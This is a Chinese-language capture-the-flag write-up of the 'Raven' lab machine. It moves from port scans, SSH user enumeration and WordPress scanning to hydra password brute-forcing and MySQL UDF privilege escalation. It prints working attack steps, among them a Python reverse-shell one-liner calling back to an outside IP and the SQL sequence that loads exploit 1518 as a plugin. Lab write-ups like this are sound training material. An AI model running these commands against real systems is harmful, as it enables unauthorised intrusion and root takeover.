raven(mysql-udf提权)

port scan

1
2
3
4
22/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
OS details: Linux 3.2 - 4.8

有点眼熟,rpcbind,以前遇到过

rpc远程过程调用,似乎是用来文件共享的。
顺便检查下2049端口,nfs关闭。

Info Enum

22

OpenSSH < 7.7 可以枚举存在的用户

1
2
3
python ssh.py --userList /root/Desktop/dictionary.txt --outputFile out.txt 192.168.2.133
cat out.txt | grep -v 'not'
awk '{print $1}' out.txt > name.txt

得到了系统存在的账号字典name.txt

80:

cms: wordpress
version 4.8.7
Apache/2.4.10
后台:http://192.168.2.133/wordpress/wp-login.php

1
2
3
4
OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/img/: Directory
  • wpscan
    wpscan --url "http://192.168.2.133/wordpress/" --enumerate p
    Scan Aborted: Unable to identify the wp-content dir, please supply it with –wp-content-dir

wpscan --url "http://192.168.2.133/wordpress/" --wp-content-dir "/wordpress" --enumerate u --enumerate p
这个版本比较高,参考| 4.9.4 | 2018年2月8日 |

try1-hosts文件

测试弱口令时,遇到一个跳转

http://192.168.2.133/wordpress/wp-login.php
http://raven.local/wordpress/wp-login.php
于是
echo 192.168.2.133 raven.local >> /etc/hosts

try2-rpc不明服务

在遇到有不明端口的时候,我总是再全端口扫描一遍。

1
2
3
4
5
nmap -p- -Pn -T4 192.168.2.133 -vv

80/tcp open http syn-ack ttl 64
111/tcp open rpcbind syn-ack ttl 64
43192/tcp open unknown syn-ack ttl 64
1
2
3
nmap -sV -p 43192 192.168.2.133 --version-intensity 9
PORT STATE SERVICE VERSION
43192/tcp open status 1 (RPC #100024)

搜索了一遍,并不知道rpc有啥exp可用

try3-ssh低版本用户枚举

之前我们在22ssh中,获得了name.txt

然后用burp intruder,又获得了两个存在的用户。
michael、steven

wpscan --url "http://192.168.2.133/wordpress/" --wp-content-dir "/wordpress" --passwords /usr/share/wordlists/rockyou.txt --usernames michael
爆破这两个口令,然后继续探测

try4-爆破root口令

hydra -l root -P /usr/share/wordlists/rockyou.txt -I 192.168.2.133 ssh

try5-web敏感文件

.DS_Store文件泄露

python ds_store_exp.py http://192.168.2.133/.DS_Store

?如何提取出.DS_Store这个文件中的信息

邮箱信息


突破防线

name.txt:

1
2
3
michael
steven
root

hydra -L name.txt -P /usr/share/wordlists/rockyou.txt -I 192.168.2.134 ssh
ssh弱密码。通过前面的信息搜集,没想到这么简单就得到了一个shell。

尝试提权

内核漏洞check

1
whereis gcc 

Linux Raven 3.16.0-6-amd64 #1 SMP Debian 3.16.57-2 (2018-07-14) x86_64 GNU/Linux

用了好几个内核漏洞尝试提权,失败。


如果成功,应该显示Done! Check /etc/passwd to see if the new user was created.

You can log in with the username ‘firefart’ and the password ‘a’.


sudo权限检查

1
2
sudo -l
Sorry, user michael may not run sudo on raven.

michael不在sudoer用户组里。


suid.sh检查失败


ps -ef 和 ps aux区别

linux有许多版本,都是查看进程的,ps = process status,区别不大。

ps -ef | grep root 查看root用户运行的进程

netstat -an | grep 3306 查看端口状态
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN

邮件


检查了mail,发现了邮件。没有发现特别有用的。
检查crontab,发现有一个从没见过的文件权限T。

1
2
michael@Raven:/var/spool/cron$ file crontabs
crontabs: sticky, directory

linux文件特殊权限:

1
2
3
现在我们要创建这样一个目录,我们可以在这个目录里创建文件,但是其他用户不能删除这个文件。

t权限的作用:只有目录/文件所有者能够删除该文件。

MySQL登陆

mysql -u root -p
尝试登陆数据库,登陆失败,不知道密码

  • cd /; find . -name "wordpress"
    查找一下web目录,可能有备份文件之类的,去检查一下。
    以下是感兴趣的目录:

    /var/www/html/wordpress
    find: `./var/log/mysql’: Permission denied

1
2
3
4
5
6
7
8
9
10
11
12
mysql -u root -p 
R@v3nSecurity 成功登陆mysql db

select load_file('/etc/passwd'); 可以查看passwd

select load_file('/etc/shadow');不能查看该文件

select sys_exec("cat /etc/shadow > /tmp/shadow"); 尝试提取shadow文件,函数不存在
ERROR 1305 (42000): FUNCTION sys_exec does not exist

select VERSION(); 查看mysql版本
5.5.60-0+deb8u1

搜索了一下,发现sys_exec(),提示该函数不存在的原因:sys_exec is not a standard mysql function. It’s provided by an external UDF plugin, and must be installed separately

sys_exec不是标准的函数,udf插件需要单独安装。

这种方式看来是行不通了。


检查rwx权限

1
python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.2.128',1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);" > debianbts.py

检查一下权限错误,虽然有rwx,但是是shared obj,不能插入命令。


PHPMailer命令执行

192.168.2.134/vendor/changelog.md
得到:Version 5.2.17 (December 9th 2016)

PHPMailer 6.0

1
2
3
searchsploit PHPMailer
searchsploit -m exploits/php/webapps/40974.py
http://192.168.2.134/vendor/class.phpmailer.php

现在有普通权限,web命令执行就算成功了也要提权啊。


writeup

udf提权,以前做过udf提权,但时间仓促,没有深入理解。

如何安装UDF plugin

1
2
3
searchsploit mysql udf
searchsploit -m exploits/linux/local/1518.c
cat /root/1518.c

运行前查看代码是一个合格的渗透工程师应有的基本守则。

1
2
3
4
5
6
* mysql> use mysql;
* mysql> create table foo(line blob);
* mysql> insert into foo values(load_file('/tmp/1518.so'));
* mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
* mysql> create function do_system returns integer soname '1518.so';
* mysql> select * from mysql.func;

接下来,用do_system反弹一个bash shell。

总结

参考资料:wooyun——MySQL和PostgreSQL数据库安全配置

有问题的地方:gcc参数的编译

1
gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

gcc编译链接命令有点不熟悉。以前只用过最简单的-o,以后再学下。

吃饭吃饭~~